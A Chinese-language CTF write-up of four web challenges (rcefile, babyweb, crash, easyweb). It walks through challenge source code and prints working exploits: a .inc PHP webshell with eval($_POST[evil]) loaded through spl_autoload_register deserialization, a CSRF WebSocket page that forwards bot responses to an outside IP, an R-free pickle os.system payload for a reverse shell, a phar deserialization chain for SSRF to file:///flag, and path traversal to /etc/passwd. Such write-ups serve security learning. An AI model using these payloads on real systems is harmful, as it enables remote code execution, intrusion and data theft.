rcefile

php写的后端 要求使用文件上传+反序列化实现RCE
图 1

cookie中有序列化的userfile字段来表示用户已经上传的文件,那应该要先想办法通过文件读取的功能读取到源代码,然后再考虑如何结合反序列化实现RCE。

源码在 www.zip

主要流程就是3个能访问的php文件都是引入了config.inc.php这个文件,config.inc.php这个文件会将cookie中的userfile反序列化,在访问showfile.php时就会根据反序列化后的内容渲染在页面上。而upload.php中对上传文件内容做了过滤,并且对于能够符合条件的文件以md5时间为文件名存储。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$file = $_FILES["file"];
if ($file["error"] == 0) {
if($_FILES["file"]['size'] > 0 && $_FILES["file"]['size'] < 102400) {
$typeArr = explode("/", $file["type"]);
$imgType = array("png","jpg","jpeg");
if(!$typeArr[0]== "image" | !in_array($typeArr[1], $imgType)){
exit("type error");
}
$blackext = ["php", "php5", "php3", "html", "swf", "htm","phtml"];
$filearray = pathinfo($file["name"]);
$ext = $filearray["extension"];
if(in_array($ext, $blackext)) {
exit("extension error");
}
$imgname = md5(time()).".".$ext;
if(move_uploaded_file($_FILES["file"]["tmp_name"],"./".$imgname)) {
array_push($userfile, $imgname);
setcookie("userfile", serialize($userfile), time() + 3600*10);
$msg = e("file: {$imgname}");
echo $msg;
} else {
echo "upload failed!";
}
}
}else{
exit("error");
}

比赛时候感觉没有魔法方法感觉很奇怪,这怎么打反序列化利用呢,虽然可以通过修改http请求来上传任意后缀内容的文件,但是.htacess是会被重命名的所以当时没有想到办法。

赛后看wp发现关键是config.inc.php 文件中的 spl_autoload_register() 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
spl_autoload_register();
error_reporting(0);

function e($str){
return htmlspecialchars($str);
}
$userfile = empty($_COOKIE["userfile"]) ? [] : unserialize($_COOKIE["userfile"]);
?>
<p>
<a href="/index.php">Index</a>
<a href="/showfile.php">files</a>
</p>

当spl_autoload_register()不指定处理用的函数,就会自动包含.php.inc的文件,并加载其中的文件名类,而且黑名单中也没有.inc,所以上传内容为<?php phpinfo();eval($_POST[evil]);?>的inc文件,上传后服务端会存放xxxx.inc,将xxxx反序列化后放在Cookie中,就可以实现RCE了。

babyweb

这是一个csrf的题目,当时就其实payload是对的但是第一次没打通以为是有什么问题,结果赛后一看别的师傅的wp发现一模一样,挺离谱的。将恶意页面放在服务器上面,让bot去访问,就可以伪装bot发给服务端修改密码请求,改密码后就可以登陆成功了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<!doctype html>
<html>
<head></head>
<body>
<script>


var url = "ws://127.0.0.1:8888/bot"
// var url = "ws://123.56.105.22:23302/bot"
var ws = new WebSocket(url)

ws.onopen = e => {
ws.send("changepw 111222333")
window.location = "http://101.34.253.123:60012/connect"
}
ws.onerror = e => {
window.location = "http://101.34.253.123:60012/connection_error"
}
ws.onmessage = function (ev) {
window.location = "http://101.34.253.123:60012/msg_"+ev.data
}

ws.onclose = e => {
window.location = "http://101.34.253.123:60012/conection_close"
}

</script>
</body>
</html>

登陆上去后的部分就是看别人wp了,毕竟也没有开源题目。考察的是由于python和go对于json的解释器不同,写两个num并且第一个num改为负数就可以成功绕过限制。

crash

这个题目当时一直不懂flag在504页面是什么意思,只知道是打pickle反序列化,但是又很奇怪为什么会有os.system("rm -rf *py*")这样一句删光.py文件的语句。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import base64

# import sqlite3

import pickle
from flask import Flask, make_response,request, session
import admin
import random

app = Flask(__name__,static_url_path='')
app.secret_key=random.randbytes(12)

class User:
def __init__(self, username,password):
self.username=username
self.token=hash(password)

def get_password(username):
if username=="admin":
return admin.secret
else:
# conn=sqlite3.connect("user.db")
# cursor=conn.cursor()
# cursor.execute(f"select password from usertable where username='{username}'")
# data=cursor.fetchall()[0]
# if data:
# return data[0]
# else:
# return None
return session.get("password")

@app.route('/balancer', methods=['GET', 'POST'])
def flag():
pickle_data=base64.b64decode(request.cookies.get("userdata"))
if b'R' in pickle_data or b"secret" in pickle_data:
return "You damm hacker!"
os.system("rm -rf *py*")
userdata=pickle.loads(pickle_data)
if userdata.token!=hash(get_password(userdata.username)):
return "Login First"
if userdata.username=='admin':
return "Welcome admin, here is your next challenge!"
return "You're not admin!"

@app.route('/login', methods=['GET', 'POST'])
def login():
resp = make_response("success")
session["password"]=request.values.get("password")
resp.set_cookie("userdata", base64.b64encode(pickle.dumps(User(request.values.get("username"),request.values.get("password")),2)), max_age=3600)
return resp

@app.route('/', methods=['GET', 'POST'])
def index():
return open('source.txt',"r").read()

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

第一步应该是想办法让解析cookie出来的userdata.username=’admin’,考虑pickle rce。

cookie中有两个字段,userdata是User对象用pickle序列化后的字节码再base64编码的,session是password,但是并不能直接伪造一个userdata,因为通过username和hash(password)来检验身份,而我们并不知道admin这个username对应的password。本地调试了一下,默认的用户username和password都是none。

首先是绕过’R和secret的限制,参考文章https://zhuanlan.zhihu.com/p/361349643

1
2
3
4
b'''cos
system
(S'command'
tR.'''

base64编码后替换cookie中的userdata,再访问/balancer接口就可以实现rce,反弹shell。
这里因为有os.system("rm -rf *py*"),而flag会在504页面返回,因此需要自己写一个flask服务并且写一句time.sleep延时,替换掉原本目录下的flask服务,再访问就会认为服务端504了给出flag了,不过这里有一点还没想明白的就是如果正常访问/balancer接口,不会触发os.system(“rm -rf py“)而导致服务崩溃么…

easyweb

有文件上传和读取文件功能,通过GET请求传入fname参数,通过phar协议访问上传的phar文件,来通过反序列化AdminShow类的Show函数实现ssrf,访问本地机器文件。

可以通过任意文件读取/showfile.php?f=../demo.png/../../../../../../../../../../../../etc/passwd读取源码

参考其他师傅的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
class Upload {
public $file;
public $filesize;
public $date;
public $tmp;
}

class GuestShow{
public $file;
public $contents;
}


class AdminShow{
public $source;
public $str;
public $filter;
}


$guest = new GuestShow();
$guest1 = new GuestShow();

$upload = new Upload();
$upload1 = new Upload();
$upload2 = new Upload();

$admin = new AdminShow();
$admin1 = new AdminShow();

$guest->file = $upload;
$upload->tmp = $admin;
$admin->str[0] = $upload1;
$admin->str[1] = $upload2;
$upload1->filesize = $admin1;
$upload1->date = "http://10.10.10.10/?url=file:///flag";
$upload2->filesize = $admin1;
$upload2->date = "";
$upload2->tmp = $guest1;
$guest1->file = $admin1;

@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($guest); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

通过Show()函数实现ssrf后,可以从/proc/net/arp获取内网的ip地址。可惜题目环境下线了,那只能看一看Wp了就没法直接复现了。

访问10.10.10.10后,可以获取源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
highlight_file(__FILE__);

if (isset($_GET['url'])){
$link = $_GET['url'];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($curlobj);
curl_close($curlobj);

echo $result;
}

if($_SERVER['REMOTE_ADDR']==='10.10.10.101'||$_SERVER['REMOTE_ADDR']==='100.100.100.101'){
system('cat /flag');
die();
}

?>

又存在ssrf,那么传入http://10.10.10.10/?url=file:///flag,可以通过file协议来读取flag文件。